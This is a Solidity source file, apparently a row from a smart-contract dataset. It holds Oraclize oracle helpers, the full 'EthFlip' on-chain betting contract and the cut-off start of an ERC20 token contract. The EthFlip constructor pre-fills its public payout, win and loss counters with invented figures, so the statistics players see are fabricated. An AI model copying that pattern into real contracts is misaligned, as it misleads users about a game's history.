function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract EthFlip is usingOraclize {
struct Bet {
bool win;
uint betValue;
uint timestamp;
address playerAddress;
uint randomNumber;
bool low;
}
struct Player {
uint[] betNumbers;
}
struct QueryMap {
uint betValue;
address playerAddress;
bool low;
}
bool private gamePaused;
uint private minBet;
uint private maxBet;
uint private houseFee;
uint private oraclizeGas;
uint private oraclizeGasPrice;
address private owner;
uint private currentBetNumber;
uint private totalPayouts;
uint private totalWins;
uint private totalLosses;
mapping (address => Player) private playerBetNumbers;
mapping (uint => Bet) private pastBets;
mapping (uint => QueryMap) private queryIdMap;
event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber, bool _low);
event GameStatusUpdate(bool _paused);
event MinBetUpdate(uint _newMin);
event MaxBetUpdate(uint _newMax);
event HouseFeeUpdate(uint _newFee);
event OwnerUpdate(address _newOwner);
modifier gameIsActive {
require(!gamePaused);
_;
}
modifier gameIsNotActive {
require(gamePaused);
_;
}
modifier senderIsOwner {
require(msg.sender == owner);
_;
}
modifier senderIsOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier sentEnoughForBet {
require(msg.value >= minBet);
_;
}
modifier didNotSendOverMaxBet {
require(msg.value <= maxBet);
_;
}
function EthFlip() public {
minBet = 100000000000000000;
maxBet = 500000000000000000;
houseFee = 29;
oraclizeGas = 500000;
oraclizeGasPrice = 4010000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
oraclize_setProof(proofType_Ledger);
owner = msg.sender;
totalPayouts = 21167800000000000000;
totalWins = 95;
totalLosses = 95;
}
function() public payable {}
function betLow() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value, true);
}
function betHigh() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value, false);
}
function secureGenerateNumber(address _playerAddress, uint _betValue, bool _low) private {
bytes32 queryId = oraclize_newRandomDSQuery(0, 1, oraclizeGas);
uint convertedId = uint(keccak256(queryId));
newUnprocessedQuery(convertedId, queryId);
queryIdMap[convertedId].betValue = _betValue;
queryIdMap[convertedId].playerAddress = _playerAddress;
queryIdMap[convertedId].low = _low;
}
function checkIfWon(uint _currentQueryId, uint _randomNumber) private {
bool win;
if (_randomNumber != 101) {
if (queryIdMap[_currentQueryId].low) {
if (_randomNumber < 51) {
win = true;
sendPayout(_currentQueryId, subtractHouseFee(queryIdMap[_currentQueryId].betValue*2));
} else {
win = false;
sendOneWei(_currentQueryId);
}
} else {
if (_randomNumber > 50) {
win = true;
sendPayout(_currentQueryId, subtractHouseFee(queryIdMap[_currentQueryId].betValue*2));
} else {
win = false;
sendOneWei(_currentQueryId);
}
}
} else {
win = false;
sendRefund(_currentQueryId);
}
logBet(_currentQueryId, _randomNumber, win);
}
function sendPayout(uint _currentQueryId, uint _amountToPayout) private {
uint payout = _amountToPayout;
_amountToPayout = 0;
queryIdMap[_currentQueryId].playerAddress.transfer(payout);
}
function sendOneWei(uint _currentQueryId) private {
queryIdMap[_currentQueryId].playerAddress.transfer(1);
}
function sendRefund(uint _currentQueryId) private {
queryIdMap[_currentQueryId].playerAddress.transfer(queryIdMap[_currentQueryId].betValue);
}
function subtractHouseFee(uint _amount) view private returns (uint _result) {
return (_amount*(1000-houseFee))/1000;
}
function logBet(uint _currentQueryId, uint _randomNumber, bool _win) private {
currentBetNumber++;
if (_win) {
totalWins++;
totalPayouts += subtractHouseFee(queryIdMap[_currentQueryId].betValue*2);
} else {
if (_randomNumber != 101) {
totalLosses++;
}
}
pastBets[currentBetNumber] = Bet({win:_win, betValue:queryIdMap[_currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[_currentQueryId].playerAddress, randomNumber:_randomNumber, low:queryIdMap[_currentQueryId].low});
playerBetNumbers[queryIdMap[_currentQueryId].playerAddress].betNumbers.push(currentBetNumber);
BetComplete(_win, currentBetNumber, queryIdMap[_currentQueryId].betValue, block.timestamp, queryIdMap[_currentQueryId].playerAddress, _randomNumber, queryIdMap[_currentQueryId].low);
queryIdMap[_currentQueryId].betValue = 0;
}
function getLastBetNumber() constant public returns (uint) {
return currentBetNumber;
}
function getTotalPayouts() constant public returns (uint) {
return totalPayouts;
}
function getTotalWins() constant public returns (uint) {
return totalWins;
}
function getTotalLosses() constant public returns (uint) {
return totalLosses;
}
function getBalance() constant public returns (uint) {
return this.balance;
}
function getGamePaused() constant public returns (bool) {
return gamePaused;
}
function getMinBet() constant public returns (uint) {
return minBet;
}
function getMaxBet() constant public returns (uint) {
return maxBet;
}
function getHouseFee() constant public returns (uint) {
return houseFee;
}
function getOraclizeGas() constant public returns (uint) {
return oraclizeGas;
}
function getOraclizeGasPrice() constant public returns (uint) {
return oraclizeGasPrice;
}
function getOwnerAddress() constant public returns (address) {
return owner;
}
function getPlayerBetNumbers(address _playerAddress) constant public returns (uint[] _betNumbers) {
return (playerBetNumbers[_playerAddress].betNumbers);
}
function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber, bool _low) {
require(currentBetNumber >= _betNumber);
return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress, pastBets[_betNumber].randomNumber, pastBets[_betNumber].low);
}
function pauseGame() public senderIsOwner gameIsActive {
gamePaused = true;
GameStatusUpdate(true);
}
function resumeGame() public senderIsOwner gameIsNotActive {
gamePaused = false;
GameStatusUpdate(false);
}
function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive {
require(_newMax >= 100000000000000000);
maxBet = _newMax;
MaxBetUpdate(_newMax);
}
function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive {
require(_newMin >= 100000000000000000);
minBet = _newMin;
MinBetUpdate(_newMin);
}
function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive {
require(_newFee <= 100);
houseFee = _newFee;
HouseFeeUpdate(_newFee);
}
function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive {
oraclizeGas = _newGas;
}
function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive {
oraclizeGasPrice = _newPrice + 10000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
}
function setOwner(address _newOwner) public senderIsOwner gameIsNotActive {
owner = _newOwner;
OwnerUpdate(_newOwner);
}
function selfDestruct() public senderIsOwner gameIsNotActive {
selfdestruct(owner);
}
struct UnprocessedQueryBytes32 {
bytes32 unprocessedQueryBytes32;
uint listPointer;
}
mapping(uint => UnprocessedQueryBytes32) public unprocessedQueryBytes32s;
uint[] public unprocessedQueryList;
function isUnprocessedQuery(uint unprocessedQueryUint) private constant returns(bool isIndeed) {
if(unprocessedQueryList.length == 0) return false;
return (unprocessedQueryList[unprocessedQueryBytes32s[unprocessedQueryUint].listPointer] == unprocessedQueryUint);
}
function getUnprocessedQueryCount() public constant returns(uint unprocessedQueryCount) {
return unprocessedQueryList.length;
}
function newUnprocessedQuery(uint unprocessedQueryUint, bytes32 unprocessedQueryBytes32) private {
if(isUnprocessedQuery(unprocessedQueryUint)) throw;
unprocessedQueryBytes32s[unprocessedQueryUint].unprocessedQueryBytes32 = unprocessedQueryBytes32;
unprocessedQueryBytes32s[unprocessedQueryUint].listPointer = unprocessedQueryList.push(unprocessedQueryUint) - 1;
}
function deleteUnprocessedQuery(uint unprocessedQueryUint) private {
if(!isUnprocessedQuery(unprocessedQueryUint)) throw;
uint rowToDelete = unprocessedQueryBytes32s[unprocessedQueryUint].listPointer;
uint keyToMove = unprocessedQueryList[unprocessedQueryList.length-1];
unprocessedQueryList[rowToDelete] = keyToMove;
unprocessedQueryBytes32s[keyToMove].listPointer = rowToDelete;
unprocessedQueryList.length--;
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize {
uint currentQueryId = uint(keccak256(_queryId));
uint randomNumber = 101;
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) {
randomNumber = (uint(keccak256(_result)) % 100) + 1;
}
if (queryIdMap[currentQueryId].betValue != 0) {
deleteUnprocessedQuery(currentQueryId);
checkIfWon(currentQueryId, randomNumber);
}
}
} | 0 | 772 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
